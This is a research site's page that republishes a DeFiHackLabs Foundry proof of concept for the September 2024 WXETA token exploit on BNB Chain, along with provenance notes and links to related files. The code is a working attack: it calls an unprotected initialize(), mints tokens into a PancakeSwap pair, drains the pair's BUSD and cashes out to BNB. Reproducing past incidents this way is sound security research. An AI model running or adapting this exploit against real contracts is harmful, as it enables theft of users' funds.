Public reproduction file

src/test/2024-09/WXETA_exp.sol

Public reproduction file for dataset entry WXETA.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/WXETA_exp.sol81 lines

1 
2// @KeyInfo - Total Lost : 110,000 USD
3// Attacker : https://bscscan.com/address/0x57ecf40b596274a985967e3f698437ae0a9600a0
4// Attack Contract : https://bscscan.com/address/0x11bffb96daa9b0c47fef01401eb089549e87604e
5// Vulnerable Contract : https://bscscan.com/address/0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7
6// Attack Tx : https://bscscan.com/tx/0x614da880bd46e98131accd9a83917abf3d56dac94caf13ae98eeff504eea3704
7 
8// @Info
9// Vulnerable Contract Code : https://bscscan.com/address/0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7#code
10// @Analysis
11 
12// Post-mortem : https://x.com/TenArmorAlert/status/1835494807495659645
13// Twitter Guy : https://x.com/TenArmorAlert/status/1835494807495659645
14// Hacking God : N/A
15 
16pragma solidity ^0.8.10;
17 
18import "forge-std/Test.sol";
19import "../interface.sol";
20 
21address constant WXetaDiamond = 0x05c2dD9cf547C6cCCF91245346E6E1BC9926cae7;
22address constant PancakePair = 0xF5a32e5E54a771B9d3C853143db74449B721C03B;
23address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
24address constant BEP20Token = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
25address constant addr1 = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
26address constant addr2 = 0x4848489f0b2BEdd788c696e2D79b6b69D7484848;
27address constant attacker = 0x57ecF40B596274a985967e3F698437aE0a9600A0;
28 
29contract ContractTest is Test {
30    function setUp() public {
31        vm.createSelectFork("bsc", 42284161);
32    }
33    
34    function testPoC() public {
35        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
36        vm.startPrank(attacker, attacker);
37        AttackerC attC = new AttackerC();
38        vm.stopPrank();
39        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
40    }
41}
42 
43// 0x11Bffb96DAa9b0C47FEf01401eb089549e87604E
44contract AttackerC {
45    constructor() {
46        IWXetaDiamond(WXetaDiamond).initialize(type(uint256).max);
47        bool minted = IWXetaDiamond(WXetaDiamond).mint(PancakePair, 1000000000000000 * 1e18);
48    
49        uint256 balPair = IBEP20Token(BEP20Token).balanceOf(PancakePair);
50        (bool s1,) = PancakePair.call(abi.encodeWithSelector(
51            bytes4(keccak256("swap(uint256,uint256,address,bytes)")),
52            0, balPair - 1e18, address(this), bytes("")
53        ));
54        require(s1);
55        bool ok = IBEP20Token(BEP20Token).approve(PancakeRouter, type(uint256).max);
56    
57        uint256 bal = IBEP20Token(BEP20Token).balanceOf(address(this));
58        address[] memory path = new address[](2);
59        path[0] = BEP20Token;
60        path[1] = addr1;
61        (bool s2,) = PancakeRouter.call(
62            abi.encodeWithSelector(
63                bytes4(keccak256("swapExactTokensForETH(uint256,uint256,address[],address,uint256)")),
64                bal, 0, path, address(this), block.timestamp
65            )
66        );
67        require(s2);
68        payable(addr2).call{value: 10**16}("");
69        selfdestruct(payable(msg.sender));
70    }
71}
72 
73interface IWXetaDiamond {
74	function mint(address, uint256) external returns (bool);
75	function initialize(uint256) external; 
76}
77 
78interface IBEP20Token {
79	function balanceOf(address) external returns (uint256);
80	function approve(address, uint256) external returns (bool); 
81}

Analysis

Dataset entry

Public Foundry test for “WXETA” (2024-09-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
src/test/2024-09/DOGGO_exp.solSame month in the dataset · 145 lines
src/test/2024-09/OnyxDAO_exp.solSame month in the dataset · 340 lines
src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
src/test/2024-09/Shezmu_exp.solSame month in the dataset · 76 lines
src/test/2024-09/unverified_03f9_exp.solSame month in the dataset · 73 lines
src/test/2024-09/unverified_5697_exp.solSame month in the dataset · 40 lines
src/test/2024-09/unverified_766a_exp.solSame month in the dataset · 74 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x57ecf40b596274a985967e3f698437ae0a9600a0
Attack Contract
0x11bffb96daa9b0c47fef01401eb089549e87604e
Vulnerable Contract
0x05c2dd9cf547c6cccf91245346e6e1bc9926cae7

Attack Tx
0x614da880bd46e98131accd9a83917abf3d56dac94caf13ae98eeff504eea3704

File record

Name: WXETA
Path: src/test/2024-09/WXETA_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: ccbd126689038892d22430decf9f9793eec3efe7
Language: Solidity
Size: 81 lines
Date: 2024-09-15
Licence: ThreatWire editorial text
Retrieved: 2026-10-19

Provenance

Path src/test/2024-09/WXETA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ccbd126689038892d22430decf9f9793eec3efe7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.